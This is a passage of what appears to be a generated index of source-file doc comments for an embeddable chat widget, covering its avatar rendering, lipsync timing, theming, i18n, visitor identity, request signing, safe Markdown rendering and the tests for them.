- **`embed.avatar`** — Tests for the VRM avatar wiring in the Widget orchestrator. jsdom has NO WebGL and cannot fetch/parse a .vrm, so these tests assert the GRACEFUL DEGRADATION contract: an avatar-mode widget must keep working with the face-image fallback, never throw, and never reveal the .oa-avatar-area when the VRM can't mount. We also cover the WebGL feature-detect and the lipsync amplitude hook on VoicePlayback in isolation.  
  *embed-widget/test/avatar.test.ts:2*
- **`embed.avatar`** — CARTOON MOUTH CADENCE (founder 2026-07-10: «липсинк слишком быстрый, у-ру-лу-лу; у мультиков по-другому — мы же мультяшная лайв-версия»). The alive/puru mouth used to re-decide its frame on EVERY rAF tick straight from the live TTS RMS — up to 60 potential frame swaps a second, which reads as flicker, not speech. Cel animation never does that: anime mouths animate "on twos/threes" — a mouth drawing HOLDS for 2-3 film frames, i.e. roughly 10-12 mouth changes per second — which is exactly what makes cartoon speech read as deliberate syllables. `MOUTH_HOLD_MS` is that hold: the minimum time a committed mouth frame stays on screen before the renderer may commit a DIFFERENT one. Amplitude is still sampled live every frame (the brow lift, voice-onset hair kick and the speaking-state machine all keep the full-rate signal); only the mouth-frame COMMIT is quantized. Closing to fully-shut on silence is deliberately EXEMPT — an instant close keeps her from hanging open past the end of a sentence, which is also how cel animation behaves (mouths shut between lines, never mid-hold). ONE constant, TWO consumers (kept in a leaf module so the lazily-chunked puru renderer and the main-bundle playbook player can share it without dragging the renderer chunk into the main bundle): - avatar/puru-render.ts — the LIVE rAF path gates frame commits on it, and the DETERMINISTIC `seek()` quantizes its ah/ee variant hash to the same grid. Per-character override: `mouthHoldMs` in the layer set's config.json (PuruCharConfig) or the mount options (PuruOptions). - playbook/player.ts — the Remotion bridge samples the baked RMS envelope at this grid (a pure function of scenario time), so offline renders carry the identical cartoon cadence as the live widget. Tuning: 90-110ms is the cartoon sweet spot ("on threes" at 30fps ≈ 100ms). Below ~70ms the flicker returns; above ~140ms the mouth starts lagging clearly audible syllables.  
  *embed-widget/src/avatar/lipsync-cadence.ts:2*
- **`embed.avatar`** — Avatar loader — dynamic-imports Three.js + three-vrm as a separate chunk. WHY dynamic import: Three.js is ~600 KB raw. It must NOT be in the initial bundle. Vite sees the dynamic `import('./vrm-render.js')` and code-splits it into a separate chunk (chunks/vrm-render-[hash].js) that is only fetched when the modal opens AND the widget is in avatar render mode with a VRM url. This file (loader.ts) stays in the initial bundle — it's tiny. The heavy code (Three.js + three-vrm) lives in vrm-render.ts, imported dynamically below.  
  *embed-widget/src/avatar/loader.ts:2*
- **`embed.avatar`** — Unit tests for ONE-LILY SEQUENTIAL REVEAL (avatar-audit#3, revised — "two different Lilys", founder-reported 2026-07): `ensureAvatarMounted` used to hide the 2D fallback figure the INSTANT a canvas avatar mounted — a hard swap, no transition, jarring on a slow connection where the figure was visible for several seconds first. A first fix crossfaded them (the canvas fading in OVER the still-visible figure) — but the figure and the canvas are DIFFERENT ART (a painterly portrait vs. the layered puru composite), so the crossfade's double-exposed midpoint read as a bug, not a transition. It is now SEQUENTIAL: the figure fades fully OUT first (`AVATAR_FIGURE_ FADE_OUT_MS`), THEN — only once it is gone — the canvas fades IN (`AVATAR_CANVAS_FADE_IN_MS`). The two are never simultaneously semi-visible. Drives `ensureAvatarMounted` directly against a minimal fake `WidgetCore` (same level as barge-in.test.ts / voice-recovery.test.ts) with `../src/avatar/loader.js` mocked so the "alive" mount resolves instantly without any real canvas/WebGL work — jsdom can't do either.  
  *embed-widget/test/avatar-crossfade.test.ts:2*
- **`embed.avatar.alive-peek-calibration`** — Static content guard for the ALIVE avatar's head-peek calibration (theme.css, 2026-07-09 — the founder's peek-mode follow-up to the earlier `--oa-alive-shift-y` normal-mode tuning). Unlike the geometric calibration itself (screenshotted live with Playwright — jsdom has no real layout engine and doesn't evaluate `:has()` for computed styles, so pixel-level verification isn't reproducible here), this file locks down the CONTRACT the calibration depends on: the tunable custom properties exist with the expected defaults, the clip-path is var-ized (not re-hardcoded), the alive-canvas peek extension is scoped so it can NEVER leak onto the VRM/ 2.5D peek path, and the normal-mode value from the earlier pass is untouched. A regression in any of these breaks the calibration silently (wrong default shipped, or the two peek paths reunified) without any other test catching it.  
  *embed-widget/test/alive-peek-css.test.ts:2*
- **`embed.avatar.clothing-logo`** — ClothingLogo — overlays a customer brand logo as an emissive decal on the avatar's upper-body clothing (shirt / top). WHY emissiveMap (not the base colorMap): the VRoid MToon clothing materials already carry a fabric texture in their base map. Painting the logo into the base map would mean compositing pixel data we don't have a CPU copy of. The emissive channel is unused by these flat-shaded clothing materials, so we put the logo there (with `emissive` set white + `emissiveIntensity = opacity`) — the logo reads as a printed patch on the garment without disturbing the shirt colour. This is purely additive on the GPU and reversible (disposeClothingLogo restores the material). Material identification — the canonical VRoid Studio heuristic: upper-body garments are named `N00_NNN_NN_..._Tops_NN_CLOTH...` (e.g. `N00_002_03_Tops_01_CLOTH_01 (Instance)` on Lily, `N00_004_01_Tops_01_CLOTH (Instance)` on Mia/Leo). We match `/_Tops_.*_CLOTH/i` so bottoms / one-piece / hair / face / skin materials are never touched. The regex tolerates the trailing `_NN (Instance)` suffix and the no-suffix form. Positioning — the logo is placed via the emissiveMap's UV transform, NOT by editing geometry: `texture.offset = (x, y)` and `texture.repeat = (scale, scale * aspect)`. `repeat` < 1 shrinks the logo into a patch; `offset` slides that patch across the garment UV. `wrapS/T = ClampToEdgeWrapping` so the patch doesn't tile across the whole shirt. Sovereignty / security: the logo is fetched CLIENT-SIDE by THREE.TextureLoader (crossOrigin='anonymous') in the visitor's browser — no EU server ever proxies the logo bytes. The URL is already https-validated upstream (widget.ts only passes it when logoOnClothing is on and the URL passed isHttpsUrl). A texture is GPU image data, never markup, so there is no XSS path. A load failure (404 / CORS / decode error) is SWALLOWED — a missing logo must NEVER crash the avatar. Lives entirely in the vrm-render dynamic-import chunk (imported by vrm-render.ts, never by the initial bundle), so THREE stays out of the tiny text-only embed.  
  *embed-widget/src/avatar/clothing-logo.ts:2*
- **`embed.avatar.clothing-logo`** — Tests the brand-logo-on-clothing module: the VRoid material-matching heuristic (`_Tops_.*_CLOTH`) across the three seeded VRM material name sets, the graceful no-ops (non-https URL, no top material), the swallowed texture load failure (a 404 logo must never crash the avatar), and the dispose path (texture freed + material restored). THREE.TextureLoader can't decode a real image under jsdom, so we stub its `loadAsync` per-test — no live network, no real GPU.  
  *embed-widget/test/clothing-logo.test.ts:2*

### embed/avatar-emotion
- **`embed.avatar-emotion`** — Scripted facial emotion for the VRM avatar — a tiny, deterministic sentiment pass over the text the agent is about to SPEAK, so her face matches the words (a smile on a greeting, warmth on thanks, a curious brow on a question) instead of a constant pokerface. WHY scripted (not agent-controlled): it must be instant (no extra LLM round trip → no latency) and predictable for a business rep. The mapping is intentionally conservative — when nothing clearly matches we stay neutral, so the avatar never grins at the wrong moment. Pure + dependency-free so it unit-tests trivially and adds ~nothing to the bundle; the VRM renderer maps each Emotion to a blendshape preset.  
  *embed-widget/src/avatar/emotion.ts:2*
- **`embed.avatar-emotion`** — Tests for `widget/actions.ts`'s `reactToChatReply` — the CHAT-path twin of `voice.ts`'s `showSpokenLine` emotion wiring (avatar-audit#4). Before this, the scripted-emotion classifier only ever ran when a reply was SPOKEN aloud; a text-only chat turn left the avatar frozen in whatever expression the last voice turn (or none) had set. A minimal fake `WidgetCore` (only the `avatar` field the function touches) keeps this a pure unit test.  
  *embed-widget/test/actions.test.ts:2*

### embed/avatar-sprite
- **`embed.avatar-sprite`** — Wiring tests for the 2.5D sprite avatar — the no-WebGL fallback path. jsdom has no WebGL, so an avatar-mode widget here takes the SPRITE branch (the whole point of board #77: Alice stays alive on devices that can't run Three.js). jsdom also has no real canvas 2d context, so we stub one — that is exactly the production gate: a device with a 2d context (≈ every browser) gets the sprite; without one we degrade to the face image (covered in avatar.test).  
  *embed-widget/test/sprite-avatar.test.ts:2*
- **`embed.avatar-sprite`** — SpriteRender — a 2.5D avatar renderer that animates a pre-sliced sprite grid on a plain <canvas>, with NO Three.js / WebGL. It is a drop-in for the VRM (setState / setMouth / setEmotion / setFraming / resize / dispose / setPaused / whenReady), so the widget orchestrator drives the avatar identically whether it's the 3D VRM or this sprite fallback. WHY: VRM needs WebGL. On no-WebGL mobile (and the odd locked-down desktop) the 3D avatar can't mount and today degrades straight to a flat face image. This module fills that gap — Alice stays alive (lipsync + blink + idle head motion) on devices that can't run Three.js, and we never even download the ~600 KB VRM chunk there. The assets are Alex's tomari-guruguru pipeline output (board #77): six expression sheets A–F (eyes open A/B/C, eyes closed D/E/F; mouth closed/half/wide), each a 5×5 grid of head angles sliced into 150 transparent 320×320 anchored frames at `{base}/{sheet}/r{row}c{col}.webp`. See the asset README for the full frame contract. sheet = SHEETS[(blink ? 3 : 0) + mouthLevel]   // A..F col   = head yaw   (0 = left-profile … 4 = right-profile) row   = head pitch (0 = up … 4 = down) The pure mapping helpers (mouthLevelFromAmount / sheetFor / frameUrl / headCellForState) are exported + unit-tested so a re-slice or refactor can't silently shift which frame a mouth/blink/pose resolves to. The DOM mount is verified live (jsdom has no canvas 2d context and never fires <img> load).  
  *embed-widget/src/avatar/sprite-render.ts:2*
- **`embed.avatar-sprite`** — Tests for the 2.5D sprite avatar's PURE frame-contract helpers — the deterministic mapping from (lipsync amplitude, blink, FSM state) to a sliced frame in Alex's tomari-guruguru grid (sheets A–F × 5×5 head-angle cells). The DOM/canvas mount (mountSpriteRender) is not unit-tested here — jsdom has no real canvas 2d context and never fires <img> load, so the rendering path is exercised by the avatar-wiring tests (graceful) + live verification. These tests pin the contract Alex documented in the asset README so a re-slice or a refactor can't silently shift which frame a mouth/blink/pose resolves to.  
  *embed-widget/test/sprite-render.test.ts:2*

### embed/bubble
- **`embed.bubble`** — widget/persistence — launcher-dock management, consent + "opened once" localStorage flags, and the visitor-identity / session-bootstrap surface for the Widget orchestrator. Split out of widget.ts (god-file split #649). Each function is moved VERBATIM from the corresponding Widget method — the only change is `this.` → `self.`. ZERO behaviour change.  
  *embed-widget/src/widget/persistence.ts:2*
- **`embed.bubble`** — Unit tests for ChatBubble's "unread" ping badge (audit fix wave 1 #1 — previously a dark pattern: `ping.textContent = "1"` rendered unconditionally on every mount, implying unread activity that never happened). Drives the class directly (no full Widget mount needed — ChatBubble is DOM-self- contained) so the assertions stay aimed at exactly the badge's visibility cleared the moment that signal is consumed (panel opens) or declined (×).  
  *embed-widget/test/bubble.test.ts:2*
- **`embed.bubble`** — Unit tests for widget/persistence.ts — the localStorage-backed consent persistence, "opened once" flag, and the consent key scheme. All tests are pure-function or localStorage tests (jsdom); no Widget instantiation needed. We build a minimal WidgetCore stub that satisfies only the fields accessed by persistence.ts (config.tenant, config.widgetId, config.agent) — nothing else.  
  *embed-widget/test/persistence.test.ts:2*
- **`embed.bubble`** — @feature embed.modal Unit tests for the Widget class. Uses jsdom (configured in vite.config.ts) and MockBackend implicitly (no wsUrl -> createBackend returns MockBackend). We test the observable DOM changes rather than internal state, because that's what actually matters from the user's perspective.  
  *embed-widget/test/widget.test.ts:2*
- **`embed.bubble`** — Container-mount + global API: a host page (e.g. a marketing landing) can mount the REAL widget into a SPECIFIC element — two instances on one page — via the named `mount({ container })` export or the `window.OpenAlice.mount` global.  
  *embed-widget/test/embed-mount.test.ts:2*
- **`embed.bubble`** — widget/actions — user-initiated turn + lead + rating actions for the Widget orchestrator. Split out of widget.ts (god-file split #649). Each function is moved VERBATIM from the corresponding Widget method — the only change is `this.` → `self.`. ZERO behaviour change.  
  *embed-widget/src/widget/actions.ts:2*
- **`embed.bubble`** — @feature embed.modal widget/widget-core — minimal structural interface for the Widget orchestrator. WHY THIS FILE EXISTS (circular-dependency break, #740): The Widget class lives in `../widget.ts` which imports every `widget/` submodule. Each submodule previously imported `Widget` back from `../widget.ts`, forming 6 circular import chains (inspector #740). Because the submodules only use Widget as a type (never as a value), the runtime is clean — but static analysis tools (including openalice-inspector) still flag the back-edge. Solution: declare `WidgetCore` here as a leaf module (nothing imports back into it), listing every property/method the submodules access on their `self` parameter. The `Widget` class in `../widget.ts` satisfies this interface structurally — TypeScript's structural typing means no `implements` declaration is needed. All 6 submodules import `WidgetCore` from here instead of importing `Widget` from `../widget.ts`, breaking every cycle. ZERO behaviour change.  
  *embed-widget/src/widget/widget-core.ts:2*
- **`embed.bubble`** — @feature embed.modal widget/helpers — pure, DOM-light helper functions used by the Widget orchestrator. Split out of widget.ts (god-file split #649) so the orchestrator stays a thin coordinator. ZERO behaviour change: every function here is moved verbatim from widget.ts.  
  *embed-widget/src/widget/helpers.ts:2*
- **`embed.bubble`** — @feature embed.modal @feature embed.avatar @feature embed.ws-client @feature embed.mock-backend Widget — top-level orchestrator for the openalice-embed widget. Owns the FSM state. On every state transition it: 1. Calls modal.showPhase(phase) → re-renders the appropriate surface. 2. Shows / hides the launcher bubble vs. the panel vs. the dock. 3. Calls setAvatarState(name) as a no-op hook (VRM animation is a separate workstream; stub is safe to call at any point). WHY Shadow DOM: the embed widget MUST NOT fight the host page's CSS. Shadow DOM gives us a clean style scope without iframe overhead. The downside is custom font @imports don't cross the shadow boundary, so fonts are loaded in the document <head> by injectFonts(). Privacy: no network activity until user clicks the bubble (first OPEN event). STRUCTURE (god-file split #649): the Widget class is a thin orchestrator that owns ALL state + the FSM core (dispatch / render). Cohesive behaviour groups live in sibling modules under `widget/` as free functions that take the Widget instance as their first argument; the class methods below delegate to them. The split is purely structural — the moved code is byte-for-byte the original, with `this.` rewritten to the explicit `self.` parameter. ZERO behaviour change.  
  *embed-widget/src/widget.ts:2*
- **`embed.bubble`** — @feature embed.modal openalice-embed public entry point. Two usage modes: 1. Script tag with data-* attributes (customer embed): <script src="alice-embed.js" data-account="acme"></script>   (canonical) <script src="alice-embed.js" data-tenant="acme" data-agent="sakura"></script>  (legacy alias — permanent) Auto-mounts when the DOM is ready. 2. Programmatic API (testing / dashboard preview): import { mount } from '@openalicelabs/embed'; mount({ tenant: 'acme', agent: 'sakura', wsUrl: 'wss://…' }); WHY we auto-read data-* attributes: B2B customers should paste ONE script tag with zero JS knowledge required. The data attributes are the entire configuration surface for v0.1.  
  *embed-widget/src/index.ts:2*
- **`embed.bubble`** — ChatBubble — the collapsed launcher fixed in the bottom-right corner. Design: 62px circle showing her face image overflowing + sakura ring + optional ping badge and teaser callout. "A face, not a chat bubble." Privacy note: the bubble renders immediately on page load but fires NO network requests and sets NO cookies until the user clicks it.  
  *embed-widget/src/ui/bubble.ts:2*
- **`embed.bubble`** — @feature embed.modal Dark-Sakura design system for the openalice-embed widget. Aesthetic direction: premium dark panel with sakura-pink accents — deep #0a0a14 background, soft #fce7ee text, sakura gradient CTAs. Fraunces (variable display), Hanken Grotesk (body), JetBrains Mono (mono). All values scoped under [data-oa-embed] to prevent any bleed into the host page's existing CSS. IMPORTANT: @import does not work inside Shadow DOM. Fonts are injected into document <head> by injectFonts() in widget.ts. --------------------------------------------------------------------------- PALETTE LAW — the role ladder (founder systematic pass, 2026-07-12) --------------------------------------------------------------------------- Triggered by a real bug: the legal line under the composer («terms & privacy. Learn more») read washed-out at --fs-2xs on the dark panel — a --dark-text-soft body + --sakura-deep links, both individually "AA" by the numbers but perceptually dull at fine-print size. That fix (full ink + --sakura-edge links) turned out to be the FIRST instance of a pattern repeated ~20 times across this file. This block is the rule so it doesn't have to be rediscovered per-selector again — every text-color pairing in this stylesheet answers to ONE of the roles below, on dark (`--dark-bg` / `--dark-card`) surfaces: 1. PRIMARY      — `--dark-text`. Always safe, always the default. 2. SECONDARY / SUPPORTING   — `--dark-text-soft` or `--dark-mute`, ONLY at `--fs-sm` (11.5px) or larger. Below that the alpha/ desaturation reads as dim rather than "quiet" — see rule 3. 3. FINE PRINT    — text set at `--fs-2xs` / `--fs-xs` (9–10px) renders in (SMALL TEXT)   full `--dark-text`, never soft/mute. Smallness ALREADY supplies the visual de-emphasis; dimming the color on top of that is what makes it unreadable, not quiet. Exception: a SHORT, explicitly-reviewed allowlist of genuinely decorative chrome (the "powered by" footer bar) may stay soft — judgment call, listed at the test contract below so a future addition needs the same explicit review, not a silent copy-paste. 4. LINKS /       — `--sakura-edge` (hover → `--sakura-vivid`). INTERACTIVE     `--sakura-deep` is DEPRECATED for text/links on dark — TEXT             it measures ~7.84:1 (numerically AA/AAA) but reads dull next to the vivid/edge family used everywhere else in the widget. Kept ONLY where explicitly 7.84:1 pairing visually holds) or a pure decorative icon glyph (non-text, only needs the 3:1 WCAG graphical-object floor). See the whitelist in test/theme-fixwave2-css.test.ts. 5. DISABLED      — `--disabled-opacity` (0.5), applied uniformly via `opacity: var(--disabled-opacity)`. Previously three different literals (0.4/0.5/0.7) on three different `:disabled` rules — unified so "disabled" reads as one visual language everywhere it appears. 6. STATUS /      — `--error` / `--sage` / `--ctl-muted` keep their own SEMANTIC        tokens regardless of size — these carry meaning (failure/success/muted-state), not a text-emphasis role, and were never part of this bug. All of the above are `[data-oa-embed]`-scoped custom properties that ultimately resolve through `--oa-accent` / `--oa-accent-deep` (white-label, M4.3) — a customer recolor still repaints every role above; see the PALETTE ROLE LADDER describe blocks in test/theme-fixwave2-css.test.ts for the enforced contract (grep-based: no soft/mute at fine-print size, no deep on text outside the reviewed whitelist).  
  *embed-widget/src/ui/theme.css:2*

### embed/build
- **`embed.build`** — Vite build configuration for the openalice-embed widget. Two outputs: 1. alice-embed.js  — initial ESM bundle (bubble + modal + WS client + styles). Budget: ≤100 KB gzipped. 2. chunks/vrm-render-[hash].js — lazy chunk loaded only when avatar opens. Budget: ≤500 KB gzipped (Three.js + three-vrm). WHY ESM output instead of IIFE: IIFE format in Rollup/Vite cannot produce dynamic code-split chunks — the entire import graph is inlined into one file. ESM output (type="module") supports native dynamic import() so the VRM chunk is genuinely separate. Target browsers (ES2022) all support <script type="module">. Embed snippet for customers: <script type="module" src="https://cdn.openalicelabs.com/embed/v1/alice-embed.js" data-tenant="acme" data-agent="sakura"></script>  
  *embed-widget/vite.config.ts:2*

### embed-dashboard/instrumentation
- **`embed-dashboard.instrumentation`** — Next.js instrumentation hook. Its one job today: keep a KNOWN-BENIGN framework error out of error REPORTING so it can't pollute the error budget / SLO alerts. The error: `controller[kState].transformAlgorithm is not a function` (constant digest, ALL stack frames ignore-listed) is a Node 22 web-streams / React-SSR-streaming internal that fires on some client-abort-mid-stream paths. It is NON-FATAL — responses still return 200, `oa smoke`/`oa gate` stay green, and it is unreproducible from our own code (no TransformStream in this app). It is NOT our bug; the upstream fix rides Next 16.3 (only preview/canary as of 2026-07-06). Until then we recognise it by signature and DON'T forward it to reporting. Everything else flows through untouched.  
  *embed-dashboard/src/instrumentation.ts:2*

### embed/debug
- **`embed.debug`** — Runtime debug-log gate for the widget. WHY a runtime flag (not a build-time const): the embed bundle ships to customers' production landing pages, where verbose `[oa-voice]` instrumentation is noise. But when a customer (or we) need to diagnose a live voice/avatar issue ON the host page, rebuilding + redeploying the bundle just to flip a log switch is impractical. Instead the host page (or a dev console) sets `window.__OA_DEBUG__ = true` and every gated `console.info` lights up — no rebuild, zero cost in the default (false) path. SECURITY: the flag only toggles verbose console output. It exposes no secrets and grants no capability — a host page that sets it is opting into seeing its OWN widget's diagnostics. `console.warn`/`console.error` for genuine failures are NEVER gated behind this (they must always surface). Read at CALL time (not captured once at module load) so the host can flip the flag at any point in the page lifecycle — before OR after the bundle loads — and the next log honours it.  
  *embed-widget/src/client/debug.ts:2*
- **`embed.debug`** — Tests the runtime debug-log gate: `oaDebugEnabled()` reads `window.__OA_DEBUG__` at CALL time, and every `[oa-voice]` `console.info` in the VAD + voice session is suppressed unless the host explicitly opted in. `console.warn`/`console.error` for genuine failures must NEVER be gated.  
  *embed-widget/test/debug.test.ts:2*

### embed/filler-audio
- **`embed.filler-audio`** — FillerAudio — pre-rendered "thinking" filler clips ("Hmm…", "Let me think…", "One moment…") spoken in the agent's OWN voice to mask the gap between the visitor finishing speaking and the first real reply sentence arriving (STT → LLM first-token → first-sentence synth latency). GLOBAL + SERVER-CACHED: the clips are no longer synthesised per session via `backend.synthesize`. Instead they are rendered ONCE per (provider, voice, locale) on the server and cached there (and at the browser/CDN via Cache-Control). prime() does a SINGLE GET to `/v1/embed/fillers?widget_id=…`, base64-decodes each returned clip into a Blob, and caches the Blobs in memory. pick() then returns a ready clip with zero network latency. This is provider-agnostic — the server renders through its TTS router, so it works under Voxtral today and ElevenLabs / Mistral-direct later with no client change. The clip is enqueued into the existing VoicePlayback queue FIRST, so the ordered queue plays the filler, then the streamed real sentences after it — no special playback path needed. Deliberately DOM-free + side-effect-free (the fetch URL is injected) so it unit-tests trivially against a mocked global `fetch`.  
  *embed-widget/src/client/filler-audio.ts:2*

### embed/http-client
- **`embed.http-client`** — Live-takeover EVENTS STREAM tests — the persistent `GET /v1/embed/conversations/:id/events` reader in AgentLiteClient: • contract parsing (control / operator_joined / operator_message / operator_left, heartbeat comments, malformed payloads) • legacy body-less signature headers on the GET • capped reconnect backoff (1s, 2s, 5s, 10s max) + reset after a successful connect • stop on closeEvents() / disconnect() • human-mode suppression of same-tab idle-resume segmentation  
  *embed-widget/test/events-stream.test.ts:2*
- **`embed.http-client`** — HMAC-SHA256 request-signing helper for the live agent-lite backend. The server issues a per-conversation signing key (`sig_key`, lowercase-hex) in the session-bootstrap response. When present, every outbound turn POST (message / message/stream / stt) carries two headers so the server can verify the request originated from a key-holding session: X-OA-Timestamp : unix seconds (Math.floor(Date.now() / 1000)) X-OA-Signature : lowercase-hex HMAC-SHA256(key=sig_key, msg=`${conversation_id}.${timestamp}.${sha256hex(body)}`) The signed message binds the conversation id, a fresh timestamp, AND the SHA-256 of the request body — so a captured signature can't be replayed against a different conversation, much later, OR with a different payload. (The server still accepts the legacy body-less `${conv}.${ts}` form during the widget rollout.) Uses `crypto.subtle` (Web Crypto API) — available in all modern browsers and in the jsdom/Node test environment (Node 18+). Zero extra dependencies. SECURITY: `sig_key` is a server-issued, per-conversation key — NOT the raw `EMBED_SIGNING_SECRET`, which never leaves the server. When no key is present the caller skips signing entirely (backward-compatible / dev-safe).  
  *embed-widget/src/client/signing.ts:2*
- **`embed.http-client`** — AgentLiteClient — the LIVE backend that speaks agent-lite's real REST contract (§0.1 §5 + the conversation API), replacing the placeholder WS protocol. Implements the same `Backend` interface as MockBackend so the widget layer never knows which backend it's talking to. Flow: connect()      → POST /v1/embed/:widgetId/session  (visitor identity + consent) → { conversation_id, visitor_tier, memory_preamble? }. Emits "connected"; if a returning- visitor preamble came back, emits it as a system message so the widget can show a welcome-back state. send(text)     → POST /v1/conversations/:id/messages { content } → { text, turn, tokens_used_total, suggest_handoff }. Emitted as an "agent" message + suggestHandoff hint. The session bootstrap carries the strongest resolved visitor id + tier + consent (from the widget's VisitorIdentity), so the server keys per-visitor memory correctly and recalls a returning visitor. NO config is sent from the browser — the server resolves it by widget_id.  
  *embed-widget/src/client/http-client.ts:2*

### embed/i18n
- **`embed.i18n`** — Visitor-facing string table + locale resolution for the openalice-embed widget (M4.1 i18n / M4.2 RTL). WHY a central table: the widget's visitor-facing copy was previously hard- coded inline at each render site (consent gate, greetings, composer placeholder, handoff notes, etc.). To localise for the EU-GTM push without forking the renderers, every visitor-facing string now lives here, keyed by a stable id, and the renderers look it up via `t()`. DEFAULT BEHAVIOUR IS BYTE-IDENTICAL: the `en` table below holds the EXACT strings the widget shipped with. `resolveStrings(undefined)` returns `en`, so a widget with no `locale` config renders the same bytes it always did. A non-EN locale overlays its own table ON TOP of `en` — any key it omits falls back to the English string, so a partial translation can never blank a label. Interpolation: strings may contain `{name}`-style placeholders; `t()` substitutes from the `vars` map. Unknown placeholders are left intact (so a malformed key is visible, not silently dropped). Values are substituted as plain text by the caller (textContent), never as markup — no XSS surface. This module is CLIENT-SAFE: it has zero runtime imports and no server-only dependencies, so it can be referenced from `WidgetConfig`-adjacent code and bundled into the customer widget without pulling in server code.  
  *embed-widget/src/i18n.ts:2*
- **`embed.i18n`** — EU-GTM widget features (M4.1 i18n / M4.2 RTL / M4.3 white-label accent): • the i18n string-table mechanism (resolution, interpolation, EN fallback, direction derivation), • the integration that the DEFAULT widget (no locale / no accent / no dir) renders BYTE-IDENTICAL to the strings + palette it always shipped, and • that a non-default config (de locale / RTL / accent colour) actually swaps the strings, mirrors the layout, and recolours the accent.  
  *embed-widget/test/i18n.test.ts:2*

### embed/identity
- **`embed.identity.visitor`** — Visitor identity runtime — the client half of the §0.1 spec (openalice-embed-visitor-identity-memory-spec-2026-05-29.md). Resolves the strongest available visitor identity tier and issues the opaque ids the server keys per-visitor memory by. Built FIRST (before persistence) per the spec's build-order note: retrofitting ids later orphans early visitors. Tiers (strongest wins, never fabricated): T3 durable      — host-passed `data-user` id, or a captured email T2 returning    — first-party `oa_vid` cookie + localStorage mirror (UUIDv4) T1 same-session — `session_id` in sessionStorage (UUIDv4) T0 conversation — in-memory only (the conversation_id; not issued here) HARD RULES (enforced here): - NO device fingerprinting. Ids are opaque random UUIDs or host/email only. Nothing derived from IP / UA / canvas / fonts / screen. - `oa_vid` (T2) is issued ONLY post-consent AND only when memory is `persistent`. `session_id` (T1) is always issued (cross-page UX continuity, dies on tab close — not "persistence"). - All storage access is best-effort: incognito / blocked storage throws, and we degrade to a fresh anonymous visitor with no error.  
  *embed-widget/src/identity/visitor-identity.ts:2*

### embed/markdown
- **`embed.markdown`** — A tiny, dependency-free, XSS-safe Markdown→HTML renderer for agent replies. The widget runs inside a customer's page, so untrusted model output must never reach the DOM as live HTML. The strategy here is "escape everything, then emit only our own whitelisted tags": 1. every run of source text is HTML-escaped first; 2. the only tags this module ever produces are <strong> <em> <code> <pre> <a> <ul> <ol> <li> <br> <p> — all generated by us, never copied from the input; 3. links are restricted to http(s)/mailto schemes and always get rel="noopener noreferrer nofollow" + target="_blank". Because all text is escaped before any tag is inserted, the returned string is safe to assign to innerHTML. We deliberately support only the small Markdown subset a chat agent realistically emits — bold, italic, inline + fenced code, links, bullet/numbered lists, paragraphs and line breaks.  
  *embed-widget/src/ui/markdown.ts:2*
- **`embed.markdown`** — Tests for the safe Markdown renderer. The security-critical property is that NO untrusted input ever produces live markup: all text is escaped and only our own whitelist of tags appears in the output.  
  *embed-widget/test/markdown.test.ts:2*

### embed/mock-backend
- **`embed.mock-backend`** — MockBackend — simulates openalice-agent-lite for dev and test. v0.2 extensions: - Emits greeting + 3 quick-reply chips on connect. - Simulates suggestHandoff after N turns. - Occasionally emits an inline action card. - Preserves the Backend interface — no ws-client changes. The 800ms latency simulates real LLM inference time.  
  *embed-widget/src/client/mock-backend.ts:2*
- **`embed.mock-backend`** — Unit tests for MockBackend — exercises connection lifecycle, message delivery, timing, and event listener management.  
  *embed-widget/test/mock-backend.test.ts:2*
- **`embed.mock-backend`** — @feature embed.ws-client Backend factory — selects MockBackend or WsClient based on config. WHY a factory rather than direct instantiation: the widget should never import both backends unconditionally. In a production build the mock backend is still included (dev + test), but the WsClient is the live path. Future v0.2 tree-shaking can strip mock from prod builds if needed.  
  *embed-widget/src/client/backend.ts:2*

### embed/modal
- **`embed.modal`** — @feature embed.bubble LIGHT THEME contract (larёk round 3, founder 2026-07-13) — the widget's second skin: `data-theme="light"` on the shadow-root wrapper switches the `--dark-*` role tokens to a warm-white/dark-ink set (see theme.css's LIGHT THEME section). Three guarantees are locked here: 1. NON-REGRESSION — the default (dark) widget is untouched: no `data-theme` selector exists anywhere OUTSIDE the light section, and the Widget stamps the attribute ONLY for an explicit "light" config (absent / "dark" / garbage → no attribute → zero light rules match). 2. COMPLETENESS — the light token set enumerates every role token the dark set defines (a missing override would leak a near-black value onto the white panel), plus the light-only `--sakura-ink` and the accent-TEXT→ink roster (raw sakura fails AA on white). 3. WCAG AA — computed (not eyeballed) contrast on every light token pairing, mirroring the palette-law ladder at the top of theme.css. jsdom has no layout/computed-style engine — like the other *-css.test.ts guards, this locks the CONTRACT; the live screenshot pass verifies looks.  
  *embed-widget/test/theme-light.test.ts:2*
- **`embed.modal`** — Static content guard for the ADAPTIVE CHAT SHEET (avatar-audit#14): `.ow-chat` was a hardcoded `height: 58%` — with 1-2 messages that left the sheet ~70% empty while cropping the avatar's mouth above it. The sheet now grows with `.ow-msgs`'s own content between a floor (composer + ~1 bubble) and the original 58% ceiling, where the existing `.ow-msgs--scroll` overflow-y:auto takes back over exactly as it did before. jsdom has no real layout engine (no computed heights, no flexbox resolution), so this file locks the CSS CONTRACT the adaptive behaviour depends on; a live Playwright screenshot at 390px with 1 / 3 / 15 messages is what verifies the actual on-screen result.  
  *embed-widget/test/adaptive-sheet-css.test.ts:2*
- **`embed.modal`** — Static CSS contracts for the 2026-07-09/10 founder mobile-fit pass: 1. SMALLER AVATAR ON MOBILE («мб аватар поменьше на мобиле») — the alive canvas's chat-framing tunables get MOBILE TWINS (--oa-alive-shift-y- mobile / --oa-alive-peek-shift-y-mobile / --oa-alive-scale-mobile), activated only inside the ≤440px media block, and the chat sheet takes a bigger share of the panel (300px floor / 66% ceiling vs the desktop 220px / 58%). 2. SCROLL BLEED-THROUGH — every scrollable zone inside the panel carries `overscroll-behavior: contain` so reaching its boundary never chains the swipe into the host page (the body scroll-lock in widget.ts is the other half — tested in widget.test.ts). 3. SAKURA VIVID — the --sakura-vivid fallback is the site's canonical #ff5594 (--skv), not the duller #e05590 the recolor wave picked; the white-label var(--oa-accent, …) indirection stays. The 2026-07-10 fix only repointed the DEFINITION — 17 rgba(224, 85, 144, …) literals (the RGB-decimal form of #e05590, invisible to a hex grep) were still scattered through background/box-shadow/filter rules and minified down to 16 hex-alpha #e05590XX bytes in the shipped bundle, so most vivid surfaces never actually picked up the lighter hue (founder 2026-07-12 second report). Swept to color-mix(in srgb, var(--sakura-vivid) X%, transparent) so the fix now travels with the token. jsdom has no layout engine, so these lock the CSS contract; the live geometry is verified by the 